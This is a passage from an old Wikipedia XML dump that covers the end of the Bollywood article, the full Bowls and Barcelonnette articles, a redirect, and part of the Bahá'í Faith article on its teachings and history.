===Sex scandals===
In 2005, the [[India's Most Wanted]] show on [[India TV]] ran an [[exposé]] that accused several Bollywood figures (including [[Shakti Kapoor]] and [[Aman Verma]]) of seeking sexual favors from young actresses. This ploy would not be, of course, unique to Bollywood moguls; film industry figures worldwide have long been rumored to subject actresses to the [[casting couch]]. Those accused by the show vehemently denied these accusations, and most of the Bollywood establishment have supported them. Surprisingly, the exposé resulted in insignificant public outrage.

==Bollywood awards== 
The Indian screen magazine [[Filmfare]] started the first [[Filmfare Award]]s in 1953. Modeled after the poll-based merit format of the [[Academy of Motion Picture Arts and Sciences]], individuals may submit their votes in seperate categories; The awards are presented at a glamorous, star-studded ceremony. However, unlike the [[Oscars]], voting is not restricted to members of a specific club or academy, but is open to all people. Like the [[Oscars]], they are frequently accused of bias towards commercial success, rather than artistic merit.

Lately, other companies, such as Stardust Magazine, [[Zee TV]], etc have joined the movie award bandwagon. Some of the other popular awards are:
* [[Zee Cine Awards]]
* [[Star Screen Awards]]
* [[Stardust Awards]]
* [[Awards of the International Indian Film Academy|IIFA Awards]]
* [[Apsara Awards]]

Most of these award ceremonies are lavishly staged spectacles, featuring singing, dancing, and lots of stars and starlets. 

Since 1973, the Indian government has sponsored the [[National Film Awards]], awarded by the government run Directorate of Film Festivals (DFF). The DFF screens not only Bollywood films, but films from all the other regional movie industries and independent/art films. These awards are handed out at an annual ceremony presided over by the [[President of India]].

==History==
{{main|History of Indian cinema}}

Cinema first came to India in 1896, when the [[Lumière Brothers]]’ [[Cinematographe]] showed six short films in the [[Watson Hotel]]. Three years later, [[Harishchandra Bhatvadekar]] shot and exhibited two short films. Following this, there were several attempts to film staged plays and imported films were shown in the first decade of the 20th century. The first indigenous silent feature film was ''[[Raja Harishchandra]]'', released in 1913 and directed by ''Dadasaheb'' [[Dadasaheb Phalke|Dhundiraj Govind Phalke]], who is considered the father of Indian cinema. The movie industry was well established by 1920, producing an average of 27 films every year. 

By the 1930s, the industry was producing over 200 films per annum. The first Indian sound film, [[Ardeshir Irani]]'s ''[[Alam Ara]]'' (1931), was a super hit. There was clearly a huge market for talkies and musicals; Bollywood and all the regional film industries quickly switched to sound filming. 

The 1930s and 1940s were tumultuous times: India was buffeted by the [[Great Depression]], [[World War II]], the [[Indian independence movement]], and the violence of the [[Partition of India|Partition]]. Most Bollywood films were unabashedly escapist, but there were also a number of filmmakers who tackled tough social issues, or used the struggle for Indian independence as a backdrop for their plots. 

In the late 1950s, Bollywood films moved from black-and-white to color. Lavish romantic musicals and melodramas were the staple fare at the cinema. In the 1970s and 1980s, romantic confections made way for gritty, violent, films about gangsters and bandits. [[Amitabh Bachchan]], the star known for his &quot;angry young man&quot; roles, rode the crest of this trend. In the early 1990s, the pendulum swung back towards family-centric romantic musicals with the success of such films as ''[[Hum Aapke Hain Koun]]'' ([[1994]]) and ''[[Dilwale Dulhania Le Jayenge]]'' (1995).

The Indian film industry has preferred films that appeal to all segments of the audience (see [[Bollywood#References|below]]), and has resisted making films that target narrow audiences. It was believed that aiming for a broad spectrum would maximize box office receipts. However, filmmakers may be moving towards accepting some box-office segmentation, between films that appeal to rural Indians, and films that appeal to urban and overseas audiences.

==In recent time==
As the new millenium approached, there has been a slow but steady change in the type of films produced by Bollywood. This change is largely attributed to the twin successes of [[Lagaan]] and [[Dil Chahta Hai]]. These films were extremely original and provided a bold new vision, the likes of which audiences rarely see. Lagaan in particular recieved international recognition and became the third film from India to be nominated in the Best Foreign Language Film category while Dil Chahta Hai provided a fresh soulful look into modern India. Since then Bollywood producers have experimented with different kinds of films to varying degress of successes. The successes of Murder also allowed producers to break taboos regarding potrayal of sex in Indian cinema, a highly controversial subject in and off itself.

However, some critics allege that these so-called changes are merely cosmetic in nature and further point out that many of these so-called 'different' films are merely rip-offs from Hollywood films or films from other countries.

==List of popular movies==
Foreigners interested in sampling Indian cinema may wish to consult this [[List of popular Bollywood films]]. These are not necessarily the best films produced by Bollywood; even attempting to make a list of the 'best' would be controversial. Popularity is less open to debate. For lists of the best, consult the various web sites devoted to Bollywood, where critics list their choices or readers vote for their favorites.

== See also ==
* [[Tollywood]]
* [[Kollywood]]
* [[Cinema of India]]
* [[History of Indian cinema]]
* [[Indian film directors]]
* [[Indian film music directors]]
* [[Indian playback singers]]
* [[Indian movie actors]]
* [[Indian movie actresses]]
* [[Bollywood and the portrayal of the economy of India]]
* [[History and Influence of Music within Indian Cinema]]

== References ==
* Ganti, Tejaswini. ''Bollywood'', Routledge, New York and London, 2004.
* Kabir, Nasreen Munni.  ''Bollywood'', Channel 4 Books, 2001.
* Rajadhyaksha, Ashish and Willemen, Paul. ''Encyclopedia of Indian Cinema'', Oxford University Press, revised and expanded, 1999.
* An article on ''Bollywood'', National Geographic issue: February 2005.

==External links==
{{commonscat|Indian actors}}
;General guides
* [http://www.upperstall.com/home.html Upperstall - Film history and reviews]
* [http://www.bollywhat.com Bollywhat? - The Guide for Clueless Fans of Bollywood Films]
* [http://www.imdb.com/Sections/Countries/India/ IMDB - A database for International Movies]
* [http://magma.nationalgeographic.com/ngm/0502/feature3/?fs=www7.nationalgeographic.com  An article on Bollywood in National Geographic archives]
* [http://www.greencine.com/static/primers/bollywood.jsp GreenCine primer on Bollywood]
;Plagiarism
* [http://www.itwofs.com/ Inspired Indian Film Songs - Accusations of music plagiarism with sound clips for comparison]

;Songs
* [http://www.giitaayan.com/ Giitaayan - Hindi lyrics archive]
* [http://www.downmelodylane.com/ Down Melody Lane]
* [http://www.geetmanjusha.com/ Geetmanjusha lyrics archive]

{{Life in India}}

&lt;!-- The below are interlanguage links. --&gt;

[[Category:portmanteaus]]
[[Category:Cinema of India]]
[[Category:Kapoor family of Hindi films]]
[[Category:Mumbai culture]]
[[Category:Film Industries]]
[[Category:Desi culture]]

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  </page>
  <page>
    <title>Bowls</title>
    <id>4248</id>
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      <minor />
      <comment>MoS</comment>
      <text xml:space="preserve">[[Image:Bowls.jpg|thumb|250px|Men playing bowls]]
{{commons|Category:Bowls}}
{{for|short mat bowls|Short mat bowls}}
'''Bowls''' (also known as '''Lawn Bowls''' or '''Lawn Bowling''') is a  [[precision sport]] where the goal is to roll slightly radially asymmetrical [[ball]]s (called bowls) closer to a smaller white ball (the &quot;jack&quot; or &quot;kitty&quot;) than one's opponent is able to do. It is related to [[bocce]] and [[pétanque]]. This game is most popular in [[Australia]], [[Canada]], the [[United Kingdom]] and in other UK territories.

==The game==
The game is usually played on a large, rectangular, precisely levelled and manicured [[Lawn|grass]] or synthetic surface known as a [[bowling green]], but an indoor variation on carpet is also played.  In the simplest competition, singles, one of the two opponents begins a segment of the competition (in bowling parlance, an &quot;end&quot;), by placing the mat and rolling the jack to the other end of the green as a target.  Once it has come to rest, the players take turns to roll their bowls from the mat towards the jack and thereby build up the &quot;head&quot;. Bowls reaching the ditch are dead and removed from play, except in the event when one has &quot;touched&quot; the jack on its way. &quot;Touchers&quot; are marked with chalk and remain alive in play even though they are in the ditch. Similarly if the jack is knocked into the ditch it is still alive unless it is out of bounds to the side resulting in a &quot;dead&quot; end which is replayed. After each competitor has delivered all of their bowls (four each in singles), the distance of the closest bowls to the jack is determined (the jack may have been displaced) and points are awarded for each bowl which a competitor has closer than the opponent's nearest to the jack. For instance, if a competitor has bowled two bowls closer to the jack than their competitor's nearest, they are awarded two points.  The exercise is then repeated for the next end.

==Scoring==
Scoring systems vary from competition to competition, with some being the first to a specified number of points, say 21, or the highest scorer after say, 21 ends.  Some competitions use a &quot;set&quot; scoring system, with the first to seven points awarded a set in a best-of-five set match.  As well as singles competition, there can be pairs, triples and four-player teams.  In these, teams take turns to bowl, with each player within a team bowling all their bowls, then handing over to the next player. The team captain or &quot;skipper&quot; always plays last and is instrumental in directing his team's shots and tactics.

==Bias of bowls==
Bowls are designed to travel a curved path, referred to as [[bias]], and was originally produced by inserting weights to one side of the bowl. This is no longer permitted by the rules and bias is now produced entirely by the shape of the bowl. A bowler can recognise the bias direction of the bowl in his hand by a dimple or symbol on one side. Regulations determine minimum and maximum curvature characteristics allowed, but within these rules bowlers can and do choose bowls to suit their own preference.  They were originally made from [[lignum vitae]], a dense wood giving rise to the term &quot;woods&quot; for bowls, but are now more typically made of a hard plastic composite material. Usually coloured black, bowls are now available in a variety of colours including a range of fluorescent colours. They have unique symbol markings to identify competitors' bowls, and by regulation have a diameter of about 15 centimetres.  

When bowling there are several types of delivery. &quot;Draw&quot; shots are those where the bowl is rolled to a specific location without causing too much disturbance of bowls already in the head. For a right-handed bowler, &quot;forehand draw&quot; is initially aimed to the right of the jack, and curves in to the left. The same bowler can deliver a &quot;backhand draw&quot; by turning the bowl over in his hand and curving it the opposite way, from left to right. In both cases, the bowl is rolled as close to the jack as possible, unless tactics demand otherwise. A &quot;drive&quot; involves bowling with considerable force with the aim of knocking either the jack or a specific bowl out of play - and with the drive's speed, there is virtually no noticeable curve on the shot. An &quot;upshot&quot; or &quot;yard on&quot; shot involves delivering the bowl with an extra degree of weight, enough to displace the jack or disturb other bowls in the head without killing the end. The challenge in all these shots is to be able to adjust line and length accordingly, the faster the delivery, the narrower the line or &quot;grass&quot;.

==Variations of play==
Particularly in team competition there can be a large number of bowls on the green towards the conclusion of the end, and this gives rise to complex tactics. Teams &quot;holding shot&quot; with the closest bowl will often make their subsequent shots not with the goal of placing the bowl near the jack, but in positions to make it difficult for opponents to get their bowls into the head, or to places where the jack might be deflected to if the opponent attempts to disturb the head.

==Popularity==
Bowls is popular in the [[United Kingdom]], [[Australia]], [[New Zealand]], [[Canada]], and parts of the [[United States]].  Because of its relaxed pace and comparatively light physical demands, it is a popular participant sport, particularly for the elderly.  However, there is a considerable professional competition dominated by younger men and women.

==World Indoor Singles Champions==

{| border=1
|-
|1979 || David Bryant || England
|-
|1980 || David Bryant || England
|-
|1981 || David Bryant || England
|-
|1982 || John Watson || Scotland
|-
|1983 || Bob Sutherland || Scotland
|-
|1984 || Jim Baker || Ireland
|-
|1985 || Terry Sullivan || Wales
|-
|1986 || Tony Allcock || England
|-
|1987 || Tony Allcock || England
|-
|1988 || Hugh Archibald|| Scotland
|-
|1989 || Richard Corsie || Scotland
|-
|1990 || John Price || Wales
|-
|1991 || Richard Corsie || Scotland
|-
|1992 || Ian Schuback || Australia
|-
|1993 || Richard Corsie || Scotland
|-
|1994 || Andy Thomson || England
|-
|1995 || Andy Thomson || England
|-
|1996 || David Gourlay || Scotland
|-
|1997 || Hugh Duff || Scotland
|-
|1998 || Paul Foster || Scotland
|-
|1999 || Alex Marshall || Scotland
|-
|2000 || Robert Weale || Wales
|-
|2001 || Paul Foster || Scotland
|-
|2002 || Tony Allcock || England
|-
|2003 || Alex Marshall || Scotland
|-
|2004 || Alex Marshall || Scotland
|-
|2005 || Paul Foster || Scotland
|-
|2006 || Mervyn King || England
|-
|}

==Sir Francis Drake==
[[Francis Drake|Sir Francis Drake]] is famous in bowls folklore: he is said to have insisted on completing his game of bowls on [[Plymouth Hoe]] before setting sail to confront the [[Spanish Armada]] in [[1588]].

==Crown green bowls==
'''Crown green bowls''' is a variant of lawn bowls played in the north of [[England]], in [[Wales]], and on the [[Isle of Man]]. It is played on a lawn from 30 to 60 yards (27 to 55 m) square. The centre of the lawn is 8 to 18 inches (200 to 450 mm) higher than its edges.

==External links==

'''World'''

* [http://www.wibc.org.uk/ World Indoor Bowls Council]
* [http://www.bowlspba.com/ Professional Bowls Association]

'''England'''

* [http://www.bowlsengland.com/ English Bowling Association]
* [http://www.eiba.co.uk/ English Indoor Bowling Association]
* [http://www.englishwomensbowling.net/ English Women's Bowling Association]
* [http://www.ewiba.com/ English Women's Indoor Bowling Association]
* [http://www.fedbowls.co.uk/ English Bowling Federation]
* [http://www.deafbowls.org.uk/ English Deaf Lawn Bowls Association]
* [http://www.esmba.org.uk/ English Short Mat Bowling Association]
* [http://www.englishcarpetbowls.com/ English Carpet Bowls Association]
* [http://www.ebua.org.uk/ English Bowls Umpires Association]
* [http://www.englishbowlscoaching.com/ English Bowls Coaching Scheme]

'''Scotland'''

* [http://www.bowls-siba.co.uk/ Scottish Indoor Bowling Association]

'''Wales'''

* [http://www.welshindoorbowls.com/ Welsh Indoor Bowls Association]
* [http://www.welsh-bowling-association.org.uk/ Welsh Bowling Association]

'''Jersey'''

* [http://www.jerseyindoorbowls.co.uk/Jersey Indoor Bowls Association]

'''British'''

* [http://www.biibc.org.uk/ British Isles Indoor Bowls Council]
* [http://www.bowls.org/ British Crown Green Bowling Association]

'''New Zealand'''

* [http://www.nzindoorbowls.co.nz/ New Zealand Indoor Bowls Inc]

'''Australia'''

* [http://www.bowls-aust.com.au/ Bowls Australia]
 http://www.sydneybowls.com.au/ Sydney Bowls Centre

'''Other'''

* [http://www.valebowlingclub.co.uk Extensive information on Lawn Bowls from a bowling club in Scotland ]
* [http://www.julianhainesbowls.co.uk/forum Julian Haines Bowls Forum]
* [http://www.21up.co.uk 21up] - Crown Green bowls

{{Bowling}}
[[Category:Bowls|  ]]
[[Category:Ball games]]


[[fr:Bowls]]
[[nl:Bowls]]
[[sv:Bowls]]</text>
    </revision>
  </page>
  <page>
    <title>Barcelonnette</title>
    <id>4249</id>
    <revision>
      <id>38294097</id>
      <timestamp>2006-02-05T10:39:16Z</timestamp>
      <contributor>
        <ip>84.99.245.179</ip>
      </contributor>
      <text xml:space="preserve">{{French commune|nomcommune=Barcelonnette
|région=[[Provence-Alpes-Côte d'Azur]]
|département=[[Alpes-de-Haute-Provence]]
|arrondissement=Barcelonnette
|canton=[[Canton of Barcelonnette|Barcelonnette]] (chief town)
|insee=04019
|cp=04400
|maire=Jean Chabre
|mandat=[[2001]]-[[2007]]
|intercomm=
|longitude=06° 39' 11&quot; E
|latitude=44° 23' 12&quot; N
|alt moy=1,132 m
|alt mini=1,115 m
|alt maxi=2,680 m
|hectares=1,642
|km²=16.42
|sans=2,819
|date-sans=1999
|dens=171|}}

'''Barcelonnette''' is a small town and [[commune in France|commune]] in the Southern [[France|French]] [[Alps]], in [[Alpes-de-Haute-Provence]] ''[[département in France|département]]'', of which it is a ''[[sous-préfecture]]'', in the [[Ubaye Valley]].

The city's name means &quot;little [[Barcelona]]&quot; in French. The city and the region around has been the center of French [[immigration]] wave to the Americas (mostly [[Mexico]] ) at the end 19th/ beginning 20th century. Families which had prospered abroad came back and built the huge mansions that one can see all over the town called &quot;Meson Mexique&quot;.  Today, a big community of Barcelonettes live in Mexico City and the city of Puebla in Mexico.  The most notorious of these descendants is Mexican comedian Eugenio Derbez.

==Geography==

It is built at a height of 3717 ft. on the right bank of the [[Ubaye]] river, on which it is the most well-known place.

==Miscellaneous==
It is mainly a tourist and resort centre, serving many [[ski]] lodges.

Barcelonnette is situated in a wide and very fertile valley, and is surrounded by many villas, called ''&quot;Maisons Mexicaines&quot;'' (Mexican houses), which where built by natives who have made their fortune in [[Mexico]].

[[Category:Communes of Alpes-de-Haute-Provence]]
{{Provence-geo-stub}}

[[de:Barcelonnette]]
[[fr:Barcelonnette]]
[[it:Barcelonnette]]
[[ja:バルセロネット]]
[[pl:Barcelonnette]]
[[sr:Barcelonnette]]</text>
    </revision>
  </page>
  <page>
    <title>Believers Baptism</title>
    <id>4250</id>
    <revision>
      <id>25066132</id>
      <timestamp>2005-10-08T16:21:28Z</timestamp>
      <contributor>
        <username>Bigbluefish</username>
        <id>457199</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Believers baptism]]</text>
    </revision>
  </page>
  <page>
    <title>Bahá'í Faith</title>
    <id>4251</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41926472</id>
      <timestamp>2006-03-02T17:50:54Z</timestamp>
      <contributor>
        <username>Cunado19</username>
        <id>296994</id>
      </contributor>
      <comment>linking in intro</comment>
      <text xml:space="preserve">:''This article refers to the generally-recognized global Bahá'í community. See [[Bahá'í (disambiguation)|disambiguation]] for others.''
[[Image:seatofUHJ.jpg|thumb|260px|Seat of the [[Universal House of Justice]], governing body of the Bahá'ís in [[Haifa]] Israel]]
{{Bahá'í}}
The '''Bahá'í Faith''' is an emerging global religion founded by [[Bahá'u'lláh]], a 19th century [[Iran|Persian]] exile. &quot;'''Bahá'í'''&quot; is either an adjective referring to this religion, or the term for a follower of Bahá'u'lláh. 

Bahá'í theology speaks of [[Three Onenesses|three interlocking unities]]: the [[monotheism|oneness of God]]; the [[Bahá'í Faith and the unity of religion|oneness of religion]]; and the [[Bahá'í Faith and the unity of humanity|oneness of humanity]].  These three principles have a profound impact on the theological and social teachings of this religion.  

Religion is seen as a progressively unfolding process of education, by God, through his messengers, to a constantly evolving human family.  [[Bahá'u'lláh]] is seen as the most recent, pivotal, but not final of God's messengers. He announced that his major purpose is to lay the spiritual foundations for a new global civilization of peace and harmony, which Bahá'ís expect to gradually arise.

==Relation to other religions==
Bahá'ís believe in a process of [[progressive revelation]] recognising the major religions' founders including [[Adam and Eve|Adam]], [[Noah]], [[Zoroaster]] (Zarathustra), [[Krishna]], [[Abraham]], [[Moses]], [[Buddha]], [[Jesus]], and [[Muhammad]].  Bahá'ís interpret religious history in terms of a series of prophetic dispensations. Each [[prophet]], or [[Manifestation of God]], brings a somewhat broader and more advanced revelation for the time and place it appeared in. Importantly, Bahá'ís do not believe that this process of [[progressive revelation]] has an end.  Rather, they believe that, in time, a new Manifestation of God will appear to guide mankind in its continued maturation.

===Distinction===
The Bahá'í Faith is not [[Syncretism|syncretic]] (a combination of religions), but is a distinct religious tradition, with its own scriptures, teachings, laws, and history. Even though Bahá'ís have their own distinct teachings, they believe in the divinity of several past messengers of God.

Bahá'ís describe their faith as an independent world [[religion]], differing from the other great religious traditions only in its newness. Bahá'u'lláh is believed to fulfill the [[Messianic prophecies|messianic promises]], and other spiritual aspirations, of all these various predecessor faiths.

===Persecution===
{{main|Persecution of Bahá'ís}}
Bahá'ís continue to be persecuted in [[Islamist]] ruled countries, especially [[Iran]], where over 200 believers were executed between 1978 and 1998. Since the [[Iranian Revolution|Islamic Revolution]] of 1979, Iranian Bahá'ís have regularly had their homes ransacked or been banned from attending university or holding government jobs, and several hundred have received prison sentences for their religious beliefs, most recently for participating in [[Bahá'í study circle|study circles]]. Bahá'í cemeteries have been desecrated and property seized and occasionally demolished, including the House of Mírzá Burzurg, Bahá'u'lláh's father. The House of the Báb in Shiraz has been destroyed twice, and is one of three sites to which Bahá'ís perform [[Bahá'í pilgrimage|pilgrimage]].
[http://www.aa.psu.edu/journals/war-crimes/v1n1a3.pdf] [http://sim.law.uu.nl/SIM/CaseLaw/uncom.nsf/0/e7b8824bdd987268c1256fa8004a8753?OpenDocument] [http://www.religionnews.com/press02/PR041505.html] [http://www.denial.bahai.org/]

===The Covenant===
{{main|Covenant of Bahá'u'lláh}}
Bahá'ís have high regard for what is termed the &quot;Greater Covenant&quot;, which they see as universal in nature, and from &quot;time immemorial&quot; has been carried through by the [[Manifestation of God|Manifestations of God]] of all ages. They also regard highly the &quot;Lesser Covenant&quot;, which is viewed as unique to each revelation, and incorporates the [[Progressive revelation|distinguising characteristics]] of these. At this time they view Bahá'u'lláh's revelation as a binding &quot;Lesser Covenant&quot; for his followers.

With unity as an essential teaching of the Faith, Bahá'ís follow an [[Bahá'í administration|administration]] that they believe is divinely ordained, and therefore see attempts to create schisms and divisions as insignificant, doomed efforts which are contrary to the teachings of Bahá'u'lláh. Throughout the Faith's history schisms have occurred over the succession of authority. The followers of the various [[Bahá'í divisions]], who in total, number in the low thousands, are regarded as [[Covenant-breaker]]s and shunned, essentially [[Excommunication|excommunicated]].

==Demographics==
{{main|Bahá'í statistics}}

Bahá'í sources usually estimate the worldwide Bahá'í population to be above 5 million [http://www.bahai.org/dir/worldwide]. Encylopedias and similar sources estimate from 2 to 8 million Bahá'ís in the world in the early twenty-first century, with most estimates between 5 and 6 million. 

From its origins in the [[Persian Empire|Persian]] and [[Ottoman Empire|Ottoman]] Empires, the Bahá'í Faith had acquired a number of [[Western world|Western]] converts by [[World War I]]. Fifty years later its population shifted again, this time to the [[Third World]], as a deliberate result of [[Pioneering (Bahá'í) |Bahá'í pioneering]] efforts. Most sources agree that India, Africa, South America, and the South Pacific have overtaken the Middle East and Western countries in terms of Bahá'í representation.

[[Image:BahaiLotusTemple.JPG|thumb|Known in India as the &quot;Lotus Temple&quot;, the [[Bahá'í House of Worship]] attracts an average of 3.5 million visitors a year (around 12,000 each day).]]

According to ''The World Almanac and Book of Facts 2004'':

:The majority of Bahá'ís live in Asia (3.6 million), Africa (1.8 million), and Latin America (900,000). The largest Bahá'í community in the world is in [[India]], with 2.2 million Bahá'ís, next is [[Iran]], with 350,000, and the [[USA]], with 150,000. Aside from these countries, numbers vary greatly. Currently, no country has a Bahá'í majority. [[Guyana]] is the country with the largest percentage of Bahá'ís (7%).

''The Britannica Book of the Year'' (1992&amp;ndash;present) provides the following information:
*The Bahá'í Faith is the second most widespread of the world's independent religions in terms of the number of countries where adherents live
*It is established in 247 countries and territories throughout the world
*Its members hail from over 2,100 ethnic, racial, and tribal groups
*It boasts approximately seven million adherents[http://www.britannica.com/eb/table?tocId=9394911] worldwide [2005].
*Bahá'í scriptures have been translated into over 800 languages.

Bahá'ís are generally quite proud of their multi-ethnic character, and believe that their Faith is uniquely destined to grow in numbers and influence.

==Teachings==
{{Bahá'í books}}
{{main|Bahá'í teachings}}
===Summary===
[[Shoghi Effendi]] wrote the following summary of what he considered to be the distinguishing principles of [[Bahá'u'lláh]]'s teachings, which, he said, together with the laws and ordinances of the ''[[Kitáb-i-Aqdas]]'' constitute the bed-rock of the Bahá'í Faith:
:&quot;The independent search after truth, unfettered by [[superstition]] or [[tradition]]; the oneness of the entire [[Human|human race]], the pivotal principle and fundamental doctrine of the Faith; the basic unity of all religions; the condemnation of all forms of [[prejudice]], whether religious, racial, class or national; the harmony which must exist between [[religion]] and [[science]]; the equality of men and women, the two wings on which the bird of human kind is able to soar; the introduction of compulsory education; the adoption of a [[Bahá'í Faith and Language Policy|universal auxiliary language]]; the abolition of the extremes of wealth and poverty; the institution of a [[World government|world tribunal]] for the adjudication of disputes between nations; the exaltation of work, performed in the spirit of service, to the rank of [[worship]]; the glorification of justice as the ruling principle in human society, and of religion as a bulwark for the protection of all peoples and nations; and the establishment of a permanent and [[World peace|universal peace]] as the supreme goal of all mankind—these stand out as the essential elements [which Bahá'u'lláh proclaimed].&quot;
::(''God Passes By'', p. 281)

===Social principles===
The following 12 &quot;principles&quot; are frequently listed as a quick summary of the Bahá'í teachings. They are derived from transcripts of speeches given by [[`Abdu'l-Bahá]] during his tour of Europe and North America in 1912. The list is not authoritative and a variety of such lists circulate.

:*The Oneness of [[God]]
:*The [[Bahá'í Faith and the unity of religion|Oneness of religion]]
:*The [[Bahá'í Faith and the unity of humanity|Oneness of mankind]]
:*[[Bahá'í Faith and gender equality|Gender Equality]]
:*Elimination of all forms of prejudice
:*World peace
:*[[Bahá'í Faith and Science|Harmony of religion and science]]
:*Independent investigation of truth
:*The need for [[Bahá'í Faith and Education|universal compulsory education]]
:*The need for a [[Bahá'í Faith and Language Policy|universal auxiliary language]]
:*Obedience to government and non-involvement in politics
:*Elimination of extremes of wealth and poverty

The first three of this list are commonly referred to as the [[Three Onenesses]], and form a fundamental part of Bahá'í beliefs.

===Mystical teachings===
Shoghi Effendi has called the ''[[Seven Valleys]]'' Bahá'u'lláh's &quot;greatest mystical composition.&quot; It was first translated into [[English language|English]] in 1906, becoming one of the earliest available books of Bahá'u'lláh to the [[Western world|West]]. In it, he follows the path of a wayfarer on a spiritual journey passing through different stages, calling them &quot;Seven Valleys&quot; or &quot;Seven Cities&quot;. The goal of the journey is to follow &quot;the Right Path&quot;, &quot;abandon the drop of life and come to the sea of the Life-Bestower&quot;, and &quot;gaze on the Beloved&quot;.

The [[meaning of life|purpose of life]] in the Bahá'í scriptures is to acquire [[virtue]]s, know [[God]], develop spiritually, and carry forward an advancing civilization. The personal development is conceived as an organic process, like the development of a fetus, assisted by God's [[Manifestation of God|Messengers]]. Bahá'u'lláh taught of an afterlife in which the soul may progress infinitely through ever-more-exalted spiritual realms. [[Heaven]] and [[Hell]] are perceived as a reference to an individual's proximity to God, and not as exclusive or physical places.  

Bahá'ís believe that while God's essence can never be fully fathomed, he can be understood through his &quot;[[Names of God|names]] and attributes.&quot; These are likened to gems and include such divine qualities as compassion or wisdom. The purpose of God in revealing himself to mankind is to bring out &quot;the Mystic Gems out of the mine of man.&quot; [http://reference.bahai.org/en/t/b/ESW/esw-1.html]

===Study and worship===
Bahá'í [[spirituality]] tends to consist of textual study, [[prayer]], and recitation. [[Monasticism]] is forbidden, and Bahá'ís attempt to ground their spirituality in ordinary daily life. Performing useful work, for example, is not only required but considered a form of [[worship]].

==History==
[[Image:Babshrinenight.jpg|right|thumb|200px|Shrine of the Báb in [[Haifa]], [[Israel]].]] 
{{main|Bahá'í history}}
Bahá'ís regard the period from the [[Báb]]'s  1844 declaration in Shiraz, to the 1921 passing of [[`Abdu'l-Bahá]], as the Heroic, or the Apostolic Age of the Faith. This was the age when its founders lived, its martyrs died, and its foundations were established in several countries around the world.

After `Abdu'l-Bahá's passing, the Faith entered the Formative Age, which would be characterized by its rising administrative institutions, worldwide expansion, and a transition into the future Golden Age, the consummation of the Bahá'í dispensation.

===The Báb===
{{main|Báb}}
:''See also: [[Bahá'í/Bábí split]]''
In 1844 Siyyid `Alí-Muhammad of [[Shiraz, Iran]] proclaimed that he was &quot;the Báb&quot; (&quot;the Gate&quot; in [[Arabic language|Arabic]]), after a [[Shi'a Islam|Shi'a]] religious concept. His followers were therefore known as [[Bábís]]. 

Although the Bábí Faith has its own scriptures and religious teachings, Bahá'ís believe its duration was intended to be very short.  The Báb's writings introduced the concept of &quot;He whom God shall make manifest&quot;, the one promised in the scriptures of all of the world's great religions.  The Bahá'ís believe that the Báb's purpose was fulfilled in Bahá'u'lláh, when he made his claim to be this messianic figure in 1863.

As the Báb's teachings spread, the Islamic government saw it as a threat to state religion. Several military confrontations took place between government and Bábí forces. The Báb himself was imprisoned and eventually executed by a firing squad in [[Tabriz]] on [[July 9]], [[1850]]. His mission lasted six years.

His tomb, the [[Shrine of the Báb]], located on the slope of [[Mount Carmel, Israel|Mount Carmel]] in [[Haifa]] is an important place of [[Bahá'í pilgrimage|pilgrimage]] for Bahá'ís.  The remains of the Báb were brought secretly from Persia to the Holy Land and were eventually interred in the Shrine built for them in a spot specifically designated by Bahá'u'lláh.

===Bahá'u'lláh===
{{main|Bahá'u'lláh}}
Husayn `Alí of Nur was one of the early followers of the Báb, who later took the title of Bahá'u'lláh. He was arrested and imprisoned for this involvement in 1852.  He claimed that while incarcerated in the dungeon of the [[Síyáh-Chál]] in [[Tehran]], he received the first intimations that he was the One anticipated by the Báb. (He shared this privately in 1863, and publicly in 1866.)

Shortly therefter he was expelled from [[Persian Empire|Persia]] to [[Baghdad]], in the [[Ottoman Empire]]; then to [[Istanbul|Constantinople]]; then to [[Edirne|Adrianople]]. During this time tensions grew between Bahá'u'lláh and [[Subh-i-Azal]], the appointed leader of the Bábís, culminating in Bahá'u'lláh's 1866 declaration. While in Adrianople, he wrote letters to several rulers of the world, including Sultan [[Abd-ul-Aziz]], declaring his mission as a Messenger of God. As a result Bahá'u'lláh was moved one final time, to the penal colony of [[Akko|Akká]] (in present-day [[Israel]]). 

Towards the end of his life, the strict and harsh confinement was gradually relaxed, and he was allowed to live in a home near Akká, while still officially a prisoner of that city. He died there in 1892. Bahá'ís regard his resting place, the [[Mansion of Bahji]], as the [[Qiblih]] to which they turn in prayer each day.

During his lifetime, Bahá'u'lláh left a large volume of writings. The ''[[Kitáb-i-Aqdas]]'', and the [[Kitáb-i-Íqán|Book of Certitude]] are recognized as primary Bahá'í theological works, and the [[Hidden Words]] and the [[Seven Valleys]] as primary mystical treatises.

===`Abdu'l-Bahá===
{{main|`Abdu'l-Bahá}}
Bahá'u'lláh was succeeded by his eldest son, `Abdu'l-Bahá. Designated as the &quot;Centre of the Covenant&quot; and &quot;Head of the Faith,&quot; Bahá'u'lláh designated him in his will as the sole authoritative interpreter of Bahá'u'lláh's writings. [http://www.bahai-library.com/writings/bahaullah/tb/13.html] 

`Abdu'l-Bahá had shared his father's long exile and imprisonment. This imprisonment continued until `Abdu'l-Bahá's own release as a result of the &quot;[[Young Turk]]&quot; revolution in 1908.  

Following his release he led a life of travelling, speaking, and maintaining correspondence with communities of believers and individuals, expounding the principles of the Bahá'í Faith. `Abdu'l-Bahá died in [[Haifa]] on [[November 28]], [[1921]] and is now buried in one of the front rooms in the Shrine of the Báb.

===Bahá'í administration===
{{main|Bahá'í administration}}
Bahá'u'lláh's ''[[Kitáb-i-Aqdas]]'' and ''The [[Will and Testament of `Abdu'l-Bahá]]'' are foundation documents of the [[Bahá'í administration|Bahá'í administrative order]]. Bahá'u'lláh established the elected [[Universal House of Justice]]; and `Abdu'l-Bahá established the appointed hereditary Guardianship and clarified the relationship between the two institutions. In his Will Abdu'l-Bahá appointed his eldest grandson, [[Shoghi Effendi]], as the first Guardian of the Bahá'í Faith.

Shoghi Effendi throughout his lifetime translated the sacred writings of the Faith; developed global plans for the expansion of the Bahá'í community; developed the [[Bahá'í World Centre]]; carried on a voluminous correspondence with communities and individuals around the world; and built the administrative structure of the Faith, preparing the community for the election of the Universal House of Justice.

